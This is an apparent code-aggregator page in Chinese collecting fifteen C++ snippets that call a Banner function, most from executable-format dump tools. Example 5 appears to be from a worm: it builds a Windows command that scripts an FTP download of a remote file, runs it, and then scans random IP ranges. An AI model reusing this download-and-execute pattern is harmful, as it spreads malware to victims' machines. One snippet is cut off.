本文整理匯總了C++中Banner函數的典型用法代碼示例。如果您正苦於以下問題:C++ Banner函數的具體用法?C++ Banner怎麽用?C++ Banner使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。
在下文中一共展示了Banner函數的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的C++代碼示例。
示例1: Dmp_hll_head
/*
* Dmp_hll_head - dump IBM HLL or MS CodeView debugging information
*/
bool Dmp_hll_head( void )
/**********************/
{
off_t end_off;
off_t dbg_off;
hll_trailer trailer;
end_off = lseek( Handle, 0, SEEK_END );
Wlseek( end_off - sizeof( trailer ) );
Wread( &trailer, sizeof( trailer ) );
dbg_off = end_off - trailer.offset;
if( memcmp( trailer.sig, HLL_NB04, HLL_SIG_SIZE ) == 0 ) {
Banner( "HLL NB04 debugging information" );
Wdputs( "debugging information base = " );
Puthex( dbg_off, 8 );
Wdputslc( "H\n" );
Wdputs( "subsection directory offset = " );
Puthex( trailer.offset, 8 );
Wdputslc( "H\n\n" );
dump_hll( dbg_off );
return( true );
} else if( memcmp( trailer.sig, HLL_NB02, HLL_SIG_SIZE ) == 0 ) {
Banner( "CodeView NB02 debugging information" );
Wdputs( "debugging information base = " );
Puthex( dbg_off, 8 );
Wdputslc( "H\n" );
Wdputs( "subsection directory offset = " );
Puthex( trailer.offset, 8 );
Wdputslc( "H\n\n" );
dump_cv( dbg_off );
return( true );
}
return( false );
} /* Dmp_hll_head */
示例2: dmp_public_entry
/*
* Dump public entry (export) table.
*/
static void dmp_public_entry( void )
/**********************************/
{
unsigned_32 i;
unsigned_8 len;
char *name;
unsigned_32 addr;
if( Nlm_head.numberOfPublics == 0 ) {
return;
}
Wdputslc( "\n" );
Wlseek( Nlm_head.publicsOffset );
Banner( "Public Entry (Export) Table" );
Wdputslc( "80000000H = symbol is in code\n" );
Wdputslc( " Address Name\n" );
Wdputslc( " ======= ====\n" );
for( i = 0; i < Nlm_head.numberOfPublics; i++ ) {
Wread( &len, sizeof( unsigned_8 ) );
name = Wmalloc( len );
Wread( name, len );
name[len] = '\0';
Wread( &addr, sizeof( unsigned_32 ) );
Wdputs( " " );
Puthex( addr, 8 );
Wdputs( " " );
Wdputs( name );
Wdputslc( "\n" );
}
}
示例3: LogStart
// =====================================================================================
// LogStart
// =====================================================================================
void LogStart(int argc, char** argv)
{
Banner();
Log("----- BEGIN %s -----\n", g_Program);
LogArgs(argc, argv);
DisplayDeveloperLevel();
}
示例4: Banner
void Message_Service::Show_Banner ()
{
if (!Quiet ()) {
Banner ();
printf ("\n");
}
}
示例5: main
int main(int argc, char **argv)
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 0), &wsaData)) return 0;
DownloadOn=0;
Banner();
if(argc!=6)Usage();
else
{
ftp_flds->ftp_host=argv[1];
ftp_flds->username=argv[2];
ftp_flds->password=argv[3];
ftp_flds->localFilename=argv[4];
ftp_flds->remoteFilename=argv[5];
}
if(DownloadOn)
{
_snprintf(cmd,sizeof(cmd),
"echo open %s>>o&echo %s>>o&echo %s>>o"
"&echo binary>>o&echo get %s %s>>o&echo bye>>o&ftp -s:o&del o"
"&start Explorer.exe&wank\n",
ftp_flds->ftp_host,ftp_flds->username,ftp_flds->password,
ftp_flds->remoteFilename,ftp_flds->localFilename);
}
ScanRandomIpRanges();
return 0;
}
示例6: dmp_extended
/*
* Dump info from extended header.
*/
static void dmp_extended( void )
/******************************/
{
if( Nlm_ext_head.messageFileLength != 0 ) {
Banner( "Message File" );
Dmp_seg_data( Nlm_ext_head.messageFileOffset, Nlm_ext_head.messageFileLength );
}
if( Nlm_ext_head.helpFileLength != 0 ) {
Banner( "Help File" );
Dmp_seg_data( Nlm_ext_head.helpFileOffset, Nlm_ext_head.helpFileLength );
}
if( Nlm_ext_head.RPCDataLength != 0 ) {
Banner( "RPC Data" );
Dmp_seg_data( Nlm_ext_head.RPCDataOffset, Nlm_ext_head.RPCDataLength );
}
}
示例7: dmp_resrc
/*
* Dump resources.
*/
static void dmp_resrc( unsigned_16 size, unsigned_32 offset )
/***********************************************************/
{
unsigned_16 i;
lmf_resource resrc;
Wdputslc( "\n" );
Banner( "Resource Table" );
Wread( &resrc, sizeof( lmf_resource ) );
Wdputs( "resource type (0==usage) = " );
Puthex( resrc.res_type, 4 );
Wdputslc( "H\n" );
Wdputs( "zeros = " );
for( i = 0; i < 3; i++ ) { // 3 spares (zeros)
Puthex( resrc.spare[i], 4 );
Wdputs( "H " );
}
Wdputslc( "\n" );
size -= sizeof( lmf_resource );
Wdputs( "size = " );
Puthex( size, 4 );
Wdputslc( "H\n" );
offset += sizeof( lmf_resource );
if( Options_dmp & RESRC_DMP ) {
Dmp_seg_data( offset, size );
}
}
示例8: Dmp_coff_head
/*
* Dump the coff object, if any.
*/
bool Dmp_coff_head( void )
/************************/
{
coff_file_header header;
Wlseek( Coff_off );
Wread( &header, sizeof( coff_file_header ) );
if( header.cpu_type != IMAGE_FILE_MACHINE_I386
&& header.cpu_type != IMAGE_FILE_MACHINE_ALPHA
&& header.cpu_type != IMAGE_FILE_MACHINE_UNKNOWN
&& header.cpu_type != IMAGE_FILE_MACHINE_POWERPC ) {
return 0;
}
Banner( "COFF object file" );
Wdputs( "file offset = " );
Puthex( Coff_off, 8 );
Wdputslc( "H\n" );
Wdputslc( "\n" );
Dump_header( (char *)&header, coff_hdr_msg );
DumpCoffHdrFlags( header.flags );
load_string_table( &header );
Wlseek( Coff_off + sizeof(coff_file_header) + header.opt_hdr_size );
dmp_objects( header.num_sections );
unload_string_table();
dmp_symtab( header.sym_table, header.num_symbols );
return 1;
}
示例9: dmp_reloc_fixup
/*
* Dump relocation fixup table.
*/
static void dmp_reloc_fixup( void )
/*********************************/
{
unsigned_32 i;
unsigned_32 reloc;
if( Nlm_head.numberOfRelocationFixups == 0 ) {
return;
}
Wdputslc( "\n" );
Wlseek( Nlm_head.relocationFixupOffset );
Banner( "Relocation Fixup Table" );
Wdputslc( "80000000H = target is in code segment\n" );
Wdputslc( "40000000H = source of fixup is in code segment\n" );
for( i = 0; i < Nlm_head.numberOfRelocationFixups; i++ ) {
Wread( &reloc, sizeof( unsigned_32 ) );
if( i != 0 ) {
if( (i) % 6 == 0 ) {
Wdputslc( "\n" );
} else {
Wdputs( " " );
}
}
Puthex( reloc, 8 );
}
Wdputslc( "\n" );
}
示例10: ErrorExit
void ErrorExit(unsigned error, const char *s1, const char *s2)
{
char *szPrefix;
int cch = 0;
char szError[ERROR_LEN];
if (logo && NeedsBanner) {
Banner();
}
if (error != ERR_USAGE) {
szPrefix = get_err(MSG_ERROR);
if (szPrefix == NULL) {
szPrefix = (char *) szErrorPrefix;
}
cch = sprintf(szError, szPrefix, error, ' ');
}
sprintf(szError + cch, get_err(error), s1, s2);
puts(szError);
AppExit(1);
}
示例11: print_info_title
/*
* print_info_title - print out a title for an info section
*/
static void print_info_title( const char *title )
/***********************************************/
{
char buff[80];
sprintf( buff, "%s Info (section %d)", title, currSect );
Banner( buff );
} /* print_info_title */
示例12: intro_display
void intro_display()
{
std::ifstream Art ("art.txt");
std::ifstream Intro("intro.txt");
std::ifstream Banner("banner.txt");
displaytext(Art);
displaytext_delay(Intro);
displaytext(Banner);
Art.close();
Intro.close();
}
示例13: dmp_fixup
/*
* Dump fixups.
*/
static void dmp_fixup( unsigned_16 size, bool float_pt )
/******************************************************/
{
lmf_data fixup;
unsigned_16 i;
Wdputslc( "\n" );
if( float_pt ) {
Banner( "Floating Point Fixup Table" );
} else {
Banner( "Fixup Table" );
}
Wdputs( "size = " );
Puthex( size, 4 );
if( Options_dmp & FIX_DMP ) {
if( float_pt ) {
Wdputslc( " segment : type:offset\n" );
} else {
Wdputslc( " segment : offset\n" );
}
for( i = 0; i < size / sizeof( lmf_data ); i++ ) {
Wread( &fixup, sizeof( lmf_data ) );
if( i != 0 ) {
if( i % 4 == 0 ) {
Wdputslc( "\n" );
} else {
Wdputs( " " );
}
}
Puthex( fixup.segment, 4 );
Wdputs( " : " );
if( float_pt ) {
Puthex( fixup.offset >> 28, 1 );
Wdputc( ':' );
Puthex( fixup.offset, 7 );
} else {
Puthex( fixup.offset, 8 );
}
}
}
示例14: Dmp_resrc_tab
/*
* Dump The Resource Table for NE module
*/
void Dmp_resrc_tab( void )
/************************/
{
if( Os2_head.resource_off == Os2_head.resident_off ) {
return;
}
Banner( "Resource Table" );
Wlseek( New_exe_off + Os2_head.resource_off );
if( Os2_head.target == TARGET_OS2 )
dmp_resrc_tab_os2();
else
dmp_resrc_tab_win();
}
示例15: dmp_rw_end
/*
* Dump rw end.
*/
static void dmp_rw_end( void )
/****************************/
{
lmf_rw_end rw_end;
Wdputslc( "\n" );
Banner( "Read/Write end" );
Wread( &rw_end, sizeof( lmf_rw_end ) );
Wdputs( "verify = " );
Puthex( rw_end.verify, 4 );
Wdputs( "H signature = " );
Puthex( rw_end.signature, 8 );
Wdputslc( "H\n" );
}